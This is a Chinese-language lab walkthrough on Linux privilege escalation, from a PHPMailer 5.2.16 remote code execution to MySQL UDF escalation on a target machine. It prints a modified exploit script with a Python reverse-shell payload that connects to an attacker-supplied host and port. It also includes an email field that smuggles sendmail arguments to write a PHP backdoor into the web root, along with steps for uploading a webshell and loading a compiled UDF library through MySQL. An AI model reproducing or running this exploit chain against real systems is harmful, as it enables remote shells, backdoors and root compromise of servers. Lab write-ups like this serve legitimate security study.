Linux 提权——数据库 MYSQL_UDF
靶机环境
探针目标IP及端口
目录扫描
发现关键文件/目录 -访问测试
发现phpmailer(第三方)版本 5.2.16 - 存在远程代码执行漏洞
使用searchsploit搜索phpmailer漏洞exp
修改exp - 通过测试发现exp有些对方需要进行手动修改
exp修改内容如下:
target = input("输入目标地址(注意输入phpmailer功能地址,例如:contact.php):")
lhost = input("输入反弹主机IP:")
lport = input("输入反弹主机端口:")
backdoor = input("输入后门文件名(例如:Csec.php):")
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'{lhost}\\\',{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'.format(lhost=lhost,lport=lport)
#print(payload)
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/'+backdoor+' server\" @protonmail.com',
'message': 'Pwned'}
#print(fields)
利用exp反弹shell
开启nc监听
执行exp
注意在执行exp后尝试访问生成的后门文件
反弹shell
写入/上传webshell - 前期探针到对方22端口开启 - 使用scp上传webshell
冰蝎连接webshell(可省略)
上传信息收集脚本 - 通过信息收集结果 - 来判断使用哪种提权手法
上传脚本方法选其一:
(1)可以继续使用scp上传
(2)webshell上传
(3)冰蝎反弹msf上传
执行脚本进行信息收集
发现mysql数据库 - 使用数据库udf提权
注意udf提权前提条件:知道数据库root密码 - 通过网站配置文件进行查找root密码
搜索mysql-udf提权exp - 编译exp -上传exp
搜索exp:
(1)使用searchsploit进行搜索
(2)网上查找
…
下载 mysql udf poc 进行编译:
上传1518 到目标服务器(任选其一):
(1)scp上传
(2)wget上传
(3)webshell上传
(4)msf反弹shell上传
进入数据库进行 UDF 导出:
注意insert into fool values(load_file(‘/var/www/html/1518.so’)); #注意1518.so要放在有权限的地方